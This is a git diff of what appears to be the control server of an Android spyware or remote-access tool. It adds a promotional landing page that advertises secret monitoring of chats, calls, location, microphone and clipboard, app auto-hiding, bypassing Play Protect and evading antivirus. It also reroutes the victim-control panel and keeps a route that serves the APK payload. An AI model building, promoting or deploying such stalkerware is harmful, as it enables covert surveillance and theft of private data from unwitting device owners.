Monthly
+Basic Plan
+All features!
+-
+
Free
+ Get Started +diff --git a/server/assets/views/partials/head.ejs b/server/assets/views/partials/head.ejs index 31a971b..94f402a 100644 --- a/server/assets/views/partials/head.ejs +++ b/server/assets/views/partials/head.ejs @@ -1,10 +1,15 @@
+Monitor WhatsApp chats, Call recordings, GPS locations, Contacts, Call Logs, File Explorer & more without root. Also Spy Facebook, Instagram, Tinder, Skype, Telegram & Gmail.
+ +View Call Logs
+View/Send Messages
+View Contacts
+Get Location of Device
+File Explorer & Downloader
+Microphone Recording
+View WiFi Networks
+Live Clipboad Logging
+View Installed Apps
+Monitor Skype/Telegram
+App auto-hide
+Dedicated UI
+Whatsapp Chats
+Instagram Chats
+Messenger Chats
+Tinder Chats
+Bypass PlayProtect
+Undetectable by AntiVirus
+Command Queing
+Inbuilt Apk Builder
+Completely OpenSource
+And many more Features!
+Made with ❤️ by XploitWizer
+Monthly
+Basic Plan
+All features!
+Free
+ Get Started +3-month
+Perfect Plan!
+All features
+Free
+ Get Started +6-month
+For long term!
+All faetures!
+Free
+ Get Started +Source Code
+For businesses and advanced needs of individual
+Feel Free to Contribute
+Free
+ Get Started +" + dataTitle + "
"); + }); + }); + + + + + + + let testimonialCarousel = $("#testimonial-carousel"); + testimonialCarousel.on('initialized.owl.carousel changed.owl.carousel', function(e) { + if (!e.namespace) { + return; + } + let carousel = e.relatedTarget; + $('.slider-counter').text(carousel.relative(carousel.current()) + 1 + ' / ' + carousel.items().length); + }); + + + let teamCarousel = $(".team-carousel"); + + + let blogCarousel = $("#blog-carousel"); + + $("#s-services .wrap-services").equalHeights(); + $('#select-time').on('change', function(event) { + if($(this).find("option:selected").text()) $(this).css('background-image', 'none');; + }); + + }); + (function($) { + + $.fn.equalHeights = function() { + var maxHeight = 0, + $this = $(this); + + $this.each( function() { + var height = $(this).innerHeight(); + + if ( height > maxHeight ) { maxHeight = height; } + }); + + return $this.css('height', maxHeight); + }; + + // auto-initialize plugin + $('[data-equal]').each(function(){ + var $this = $(this), + target = $this.data('equal'); + $this.find(target).equalHeights(); + }); + + })(jQuery); \ No newline at end of file diff --git a/server/includes/expressRoutes.js b/server/includes/expressRoutes.js index c008459..5cd4221 100644 --- a/server/includes/expressRoutes.js +++ b/server/includes/expressRoutes.js @@ -30,18 +30,28 @@ routes.get('/dl', (req, res) => { res.redirect('/build-aligned-signed.apk'); }); -routes.get('/', isAllowed, (req, res) => { +// routes.get('/', isAllowed, (req, res) => { +// res.render('index', { +// clientsOnline: clientManager.getClientListOnline(), +// clientsOffline: clientManager.getClientListOffline() +// }); +// }); + +routes.get('/', (req, res) => { + res.render('welcome') +}); + +routes.get('/login', (req, res) => { + res.render('login'); +}); + +routes.get('/panel', isAllowed, (req, res) => { res.render('index', { clientsOnline: clientManager.getClientListOnline(), clientsOffline: clientManager.getClientListOffline() }); }); - -routes.get('/login', (req, res) => { - res.render('login'); -}); - routes.post('/login', (req, res) => { if ('username' in req.body) { if ('password' in req.body) { @@ -51,7 +61,7 @@ routes.post('/login', (req, res) => { if (req.body.username.toString() === rUsername && passwordMD5 === rPassword) { let loginToken = crypto.createHash('md5').update((Math.random()).toString() + (new Date()).toString()).digest("hex"); db.maindb.get('admin').assign({ loginToken }).write(); - res.cookie('loginToken', loginToken).redirect('/'); + res.cookie('loginToken', loginToken).redirect('/panel'); } else return res.redirect('/login?e=badLogin'); } else return res.redirect('/login?e=missingPassword'); } else return res.redirect('/login?e=missingUsername');